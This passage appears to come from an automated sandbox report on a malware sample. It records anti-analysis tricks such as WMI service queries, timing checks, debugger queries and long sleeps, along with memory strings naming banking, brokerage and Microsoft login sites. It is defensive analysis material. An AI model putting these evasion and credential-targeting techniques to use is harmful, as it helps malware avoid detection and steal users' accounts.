Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)

Source: C:\Windows\System32\wscript.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Service

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Code function: 9_2_207AD1C0 rdtsc

9_2_207AD1C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4460	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5461	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7853	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1939	Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

API coverage: 0.4 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5044	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3624	Thread sleep count: 7853 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5008	Thread sleep count: 1939 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6400	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe TID: 6192	Thread sleep time: -32000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\AtBroker.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: s5497I81.12.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: s5497I81.12.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: s5497I81.12.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: s5497I81.12.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: s5497I81.12.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: s5497I81.12.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: wab.exe, 00000009.00000003.2592625920.0000000004B78000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2687613635.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2687613635.0000000004B78000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3229883685.0000000007E0A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: s5497I81.12.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: s5497I81.12.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: s5497I81.12.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: powershell.exe, 00000005.00000002.2397711658.0000000006F9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllol
Source: AtBroker.exe, 0000000C.00000002.3230765506.0000000008440000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: use_dateINTEGERmVMware
Source: s5497I81.12.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: wab.exe, 00000009.00000002.2687527805.0000000004B42000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: s5497I81.12.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: s5497I81.12.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: s5497I81.12.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: s5497I81.12.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: AtBroker.exe, 0000000C.00000002.3230765506.0000000008440000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mVMware
Source: s5497I81.12.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: powershell.exe, 00000002.00000002.2542707682.000001AE488B0000.00000004.00000020.00020000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000002.3228024968.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: AtBroker.exe, 0000000C.00000002.3229883685.0000000007DEF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWWNlkeXXqdqVYiV1NR2TknteJ8gPHFSuvG47YGycsFNK3obzig==&
Source: firefox.exe, 00000011.00000002.2993337503.0000026AE7D4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllee
Source: s5497I81.12.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: s5497I81.12.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: s5497I81.12.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: s5497I81.12.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002C84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: s5497I81.12.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: s5497I81.12.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: s5497I81.12.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: s5497I81.12.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: s5497I81.12.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: s5497I81.12.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: s5497I81.12.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: s5497I81.12.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: s5497I81.12.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: wscript.exe, 00000000.00000003.1998427130.0000015274974000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: nk Tracking ClientRecommended Troubleshooting ServiceWindows Modules InstallerAuto Time Zone UpdaterUser Experience Virtualization ServiceRemote Desktop Services UserMode Port RedirectorUPnP Device HostUser ManagerUpdate Orchestrator ServiceVolumetric Audio Compositor ServiceCredential ManagerVirtual DiskHyper-V Guest Service InterfacevmicheartbeatHyper-V Data Exchange ServiceHyper-V Remote Desktop Virtualization ServicevmicshutdownHyper-V Time Synchronization ServiceHyper-V PowerShell Direct ServicevmicvssVolume Shadow CopyWindows TimeWalletServiceWarpJITSvcBlock Level Backup Engine ServiceWindows Biometric ServiceWindows Connection ManagerWindows Connect Now - Config RegistrarDiagnostic Service HostDiagnostic System HostMicrosoft Defender Antivirus Network Inspection ServiceWebClientWindows Event CollectorWindows Encryption Provider Host ServiceProblem Reports Control Panel SupportWindows Error Reporting ServiceWi-Fi Direct Services Connection Manager ServiceStill Image Acquisition EventsMicrosoft Defender Antivirus ServiceWinHTTP Web Proxy Auto-Discovery ServiceWindows Management InstrumentationWindows Remote Management (WS-Management)Windows Insider ServiceWLAN AutoConfigMicrosoft Account Sign-in AssistantLocal Profile Assistant ServiceWindows Management ServiceWMI Performance AdapterWindows Media Player Network Sharing ServiceWork FoldersParental ControlsPortable Device Enumerator ServiceWindows Push Notifications System ServiceSecurity CenterWindows SearchWindows UpdateWWAN AutoConfigXbox Live Auth ManagerXbox Live Game SaveXbox Accessory Management ServiceXbox Live Networking ServiceAgent Activation Runtime_27859GameDVR and Broadcast User Service_27859Bluetooth User Support Service_27859CaptureService_27859Clipboard User Service_27859Connected Devices Platform User Service_27859ConsentUX_27859CredentialEnrollmentManagerUserSvc_27859DeviceAssociationBroker_27859DevicePicker_27859DevicesFlow_27859MessagingService_27859Sync Host_27859Contact Data_27859PrintWorkflow_27859Udk User Service_27859gupd
Source: s5497I81.12.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: s5497I81.12.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: s5497I81.12.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Code function: 9_2_207AD1C0 rdtsc

9_2_207AD1C0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 5_2_0094D8B8 LdrInitializeThunk,LdrInitializeThunk,

5_2_0094D8B8

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h]	9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20741070 mov ecx, dword ptr fs:[00000030h]	9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h]	9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h]	9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h]	9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h]	9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h]	9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h]	9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h]	9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h]	9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h]	9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h]	9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20741070 mov eax, dword ptr fs:[00000030h]	9_2_20741070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075C073 mov eax, dword ptr fs:[00000030h]	9_2_2075C073
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207AD070 mov ecx, dword ptr fs:[00000030h]	9_2_207AD070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B106E mov eax, dword ptr fs:[00000030h]	9_2_207B106E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20732050 mov eax, dword ptr fs:[00000030h]	9_2_20732050
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207D705E mov ebx, dword ptr fs:[00000030h]	9_2_207D705E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207D705E mov eax, dword ptr fs:[00000030h]	9_2_207D705E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075B052 mov eax, dword ptr fs:[00000030h]	9_2_2075B052
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B6050 mov eax, dword ptr fs:[00000030h]	9_2_207B6050
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F903E mov eax, dword ptr fs:[00000030h]	9_2_207F903E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F903E mov eax, dword ptr fs:[00000030h]	9_2_207F903E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F903E mov eax, dword ptr fs:[00000030h]	9_2_207F903E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F903E mov eax, dword ptr fs:[00000030h]	9_2_207F903E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072A020 mov eax, dword ptr fs:[00000030h]	9_2_2072A020
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072C020 mov eax, dword ptr fs:[00000030h]	9_2_2072C020
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_208050D9 mov eax, dword ptr fs:[00000030h]	9_2_208050D9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2074E016 mov eax, dword ptr fs:[00000030h]	9_2_2074E016
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2074E016 mov eax, dword ptr fs:[00000030h]	9_2_2074E016
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2074E016 mov eax, dword ptr fs:[00000030h]	9_2_2074E016
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2074E016 mov eax, dword ptr fs:[00000030h]	9_2_2074E016
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B4000 mov ecx, dword ptr fs:[00000030h]	9_2_207B4000
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072C0F0 mov eax, dword ptr fs:[00000030h]	9_2_2072C0F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207720F0 mov ecx, dword ptr fs:[00000030h]	9_2_207720F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207550E4 mov eax, dword ptr fs:[00000030h]	9_2_207550E4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207550E4 mov ecx, dword ptr fs:[00000030h]	9_2_207550E4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072A0E3 mov ecx, dword ptr fs:[00000030h]	9_2_2072A0E3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207380E9 mov eax, dword ptr fs:[00000030h]	9_2_207380E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B60E0 mov eax, dword ptr fs:[00000030h]	9_2_207B60E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B20DE mov eax, dword ptr fs:[00000030h]	9_2_207B20DE
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207590DB mov eax, dword ptr fs:[00000030h]	9_2_207590DB
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h]	9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207470C0 mov ecx, dword ptr fs:[00000030h]	9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207470C0 mov ecx, dword ptr fs:[00000030h]	9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h]	9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207470C0 mov ecx, dword ptr fs:[00000030h]	9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207470C0 mov ecx, dword ptr fs:[00000030h]	9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h]	9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h]	9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h]	9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h]	9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h]	9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h]	9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h]	9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h]	9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h]	9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h]	9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h]	9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207470C0 mov eax, dword ptr fs:[00000030h]	9_2_207470C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207AD0C0 mov eax, dword ptr fs:[00000030h]	9_2_207AD0C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207AD0C0 mov eax, dword ptr fs:[00000030h]	9_2_207AD0C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F60B8 mov eax, dword ptr fs:[00000030h]	9_2_207F60B8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F60B8 mov ecx, dword ptr fs:[00000030h]	9_2_207F60B8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207C80A8 mov eax, dword ptr fs:[00000030h]	9_2_207C80A8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20805060 mov eax, dword ptr fs:[00000030h]	9_2_20805060
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20735096 mov eax, dword ptr fs:[00000030h]	9_2_20735096
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075D090 mov eax, dword ptr fs:[00000030h]	9_2_2075D090
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075D090 mov eax, dword ptr fs:[00000030h]	9_2_2075D090
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076909C mov eax, dword ptr fs:[00000030h]	9_2_2076909C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073208A mov eax, dword ptr fs:[00000030h]	9_2_2073208A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072D08D mov eax, dword ptr fs:[00000030h]	9_2_2072D08D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072F172 mov eax, dword ptr fs:[00000030h]	9_2_2072F172
